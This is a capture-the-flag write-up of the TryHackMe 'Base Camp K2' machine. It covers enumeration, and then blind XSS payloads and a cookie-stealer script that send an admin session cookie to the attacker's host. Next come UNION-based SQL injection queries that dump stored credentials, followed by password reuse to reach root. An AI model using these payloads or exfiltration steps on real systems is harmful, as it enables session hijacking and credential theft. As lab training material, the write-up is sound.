> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-base-camp-k2.md).

# THM - Base Camp K2

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fb:52:02:e8:d9:4b:83:1a:52:c9:9c:b8:43:72:83:71 (RSA)
|   256 37:94:6e:99:c2:4f:24:56:fd:ac:77:e2:1b:ec:a0:9f (ECDSA)
|_  256 8f:3b:26:92:67:ec:cc:05:30:27:17:c5:df:9a:42:d2 (ED25519)

80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Dimension by HTML5 UP
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
No exact OS matches for host (If you know what OS is running on it, see <https://nmap.org/submit/> ).
```

```bash
(ajay㉿kali)-[~]
└─$ gobuster dir -u <http://10.81.162.157/>  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     <http://10.81.162.157/>
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home                 (Status: 200) [Size: 13229]
Progress: 77450 / 220558 (35.12%)^C

```

```bash
ffuf -u <http://10.81.162.157/> -H "Host: FUZZ.k2.thm" -w /usr/share/dnsenum/dns.txt -fs 13229

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : <http://10.81.162.157/>
 :: Wordlist         : FUZZ: /usr/share/dnsenum/dns.txt
 :: Header           : Host: FUZZ.k2.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 13229
________________________________________________

admin                   [Status: 200, Size: 967, Words: 298, Lines: 24, Duration: 179ms]
it                      [Status: 200, Size: 1083, Words: 322, Lines: 25, Duration: 106ms]
:: Progress: [1505/1505] :: Job [1/1] :: 328 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
```

Identified two vhosts add them to the hosts file.

### HTTP

it.k2.thm

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F3u8rG2odTyMrSOjKddRk%2Fimage.png?alt=media&amp;token=6a032f96-491d-400c-a0c4-e92cb25a0110" alt=""><figcaption></figcaption></figure>

Checked for sql injection but no use.

### Blind XSS

Next checking for XSS, got hit.

```bash
XSS PAYLOADS USED 
<img src=”<http://192.168.170.217/title>"></img>
<img src="<http://192.168.170.217/desc>"></img>

```

```bash
─(ajay㉿kali)-[~]
└─$ python3 -m http.server                                                            
Serving HTTP on 0.0.0.0 port 8000 (<http://0.0.0.0:8000/>) ...
10.81.162.157 - - [09/Feb/2026 20:59:02] code 404, message File not found
10.81.162.157 - - [09/Feb/2026 20:59:02] "GET /desc HTTP/1.1" 404 -
10.81.162.157 - - [09/Feb/2026 20:59:04] code 404, message File not found
10.81.162.157 - - [09/Feb/2026 20:59:04] "GET /desc HTTP/1.1" 404 -
10.81.162.157 - - [09/Feb/2026 20:59:06] code 404, message File not found
10.81.162.157 - - [09/Feb/2026 20:59:06] "GET /desc HTTP/1.1" 404 -
^C
Keyboard interrupt received, exiting.
                                         
```

```bash
(ajay㉿kali)-[~/Tools/xss-cookie-stealer]
└─$ ./xss-cookie-stealer.py 192.168.170.217           
Payload: <script src="<http://192.168.170.217/script.js>"></script>
Files created successfully in the 'web-server' directory.
[Mon Feb  9 21:07:27 2026] PHP 8.4.11 Development Server (<http://0.0.0.0:80>) started
[Mon Feb  9 21:08:02 2026] 10.81.162.157:43766 Accepted
[Mon Feb  9 21:08:02 2026] 10.81.162.157:43766 [200]: GET /script.js
[Mon Feb  9 21:08:02 2026] 10.81.162.157:43766 Closing
[Mon Feb  9 21:08:02 2026] 10.81.162.157:43772 Accepted
[Mon Feb  9 21:08:02 2026] 10.81.162.157:43772 [200]: GET /index.php?c=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.aYqTAg.rBsgrfsKu8v4pYXCBNqyt1gmsxI
[Mon Feb  9 21:08:02 2026] 10.81.162.157:43772 Closing

```

```bash
(ajay㉿kali)-[~/Tools/xss-cookie-stealer/web-server]
└─$ echo "eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ" | base64 -d
{"admin_username":"james","id":1,"loggedin":true}
```

pasting the cookie in the cookie editor

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FwZ7HI6yNVcNw1wv1AYWP%2Fimage.png?alt=media&amp;token=c571b401-20b0-4831-809d-28c35654ac10" alt=""><figcaption></figcaption></figure>

now navigate to the dashboard which we found on the gobuster

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4OTXpWsmN4QcSHKUxHFq%2Fimage.png?alt=media&amp;token=38e91eaf-b8cc-4579-84a6-cb23b583aa39" alt=""><figcaption></figcaption></figure>

icket title vulnerable to SQL injection

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FrQmqpUwteLuw8UiRK5Bf%2Fimage.png?alt=media&amp;token=5ca5e755-a801-47cc-8b62-d3dbd19eb652" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6vhpTAQUEsennGU2DTza%2Fimage.png?alt=media&amp;token=4d759c32-156e-462f-b443-8dca277d7ddc" alt=""><figcaption></figcaption></figure>

## SQL Injection

### Enumerating Columns

```bash
title=' ORDER BY 1--+   NO ERROR
title=' ORDER BY 2--+   NO ERROR
title=' ORDER BY 3--+   NO ERROR
title=' ORDER BY 4--+   ERROR

WHICH MEANS THERE ARE THREE COLUMNS
```

### Version

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FqsRFRCulZ1VQkbOIlwuG%2Fimage.png?alt=media&amp;token=b2d45cad-33ab-4f2f-ad04-0295e716aa2b" alt=""><figcaption></figcaption></figure>

### Current Database

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8oR9X69YEwDK9EdqmTVL%2Fimage.png?alt=media&amp;token=4e27fa77-f1ce-4414-8624-8abaccb71c7f" alt=""><figcaption></figcaption></figure>

### Tables

```bash
title=' UNION select 1,TABLE_NAME, TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES where table_schema='ticketsite'-- -
```

There are three tables in the current database

`auth_users, admin_auth, tickets`

### Columns

```bash
title=' UNION SELECT COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='admin_auth'-- -
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FIE9dle7VhHwqLvIrar5C%2Fimage.png?alt=media&amp;token=3289f20c-a04a-44c3-be34-7fd0e9cf4e01" alt=""><figcaption></figcaption></figure>

Columns in auth\_users

id, auth\_username, auth\_password, email

```bash
title=' UNION SELECT COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='auth_users'-- - 
```

Data of admin\_auth

| id | admin\_username | admin\_password    |
| -- | --------------- | ------------------ |
| 1  | james           | `Pwd@9tLNrC3!`     |
| 2  | rose            | `VrMAogdfxW!9`     |
| 3  | bob             | `PasSW0Rd321`      |
| 4  | steve           | `St3veRoxx32`      |
| 5  | cait            | `PartyAlLDaY!32`   |
| 6  | xu              | `L0v3MyDog!3!`     |
| 7  | ash             | `PikAchu!IshoesU!` |

```bash
title=' UNION SELECT id,admin_username,admin_password from ticketsite.admin_auth-- -
```

```bash
title=' UNION SELECT auth_username,auth_password,email from ticketsite.auth_users-- -
```

| auth\_username | auth\_password | email            |
| -------------- | -------------- | ---------------- |
| test           | test           | <test@gmail.com> |

## Shell as James

```bash
ssh james@10.81.162.157
Pwd@9tLNrC3!
Last login: Mon Jun 19 17:29:51 2023 from 10.13.4.71
james@k2:~$ 
```

```bash
james@k2:~$ id
uid=1002(james) gid=1002(james) groups=1002(james),4(adm)
```

```bash
grep -rwi "password
+0000] "GET /login?username=rose&password=RdzQ7MSKt)fNaz3! 
```

## Shell as Root

```bash
james@k2:~$ su rose
Password: 
su: Authentication failure
```

creds fails but password reuse against root works

```bash
james@k2:~$ su root
Password: RdzQ7MSKt)fNaz3!
root@k2:/home/james# 

```

```bash
root@k2:~# ls
root.txt  snap
root@k2:~# cat root.txt
THM{c6f684e3b1089cd75f205f93de9fe93d}
root@k2:~# 
```

```bash
root@k2:/home/rose# ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  k2_site  .local  .profile  .selected_editor  .viminfo
root@k2:/home/rose# cat .bash_history
sudo suvRMkaVgdfxhW!8
sudo su
root@k2:/home/rose# 

```

Found Rose user pass in her bash history

`james:Pwd@9tLNrC3!,`

`rose:suvRMkaVgdfxhW!8`

`root:RdzQ7MSKt)fNaz3!`

```bash
root@k2:/home/rose# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
rose:x:1001:1001:Rose Bud:/home/rose:/bin/bash
james:x:1002:1002:James Bold:/home/james:/bin/bash
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-base-camp-k2.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
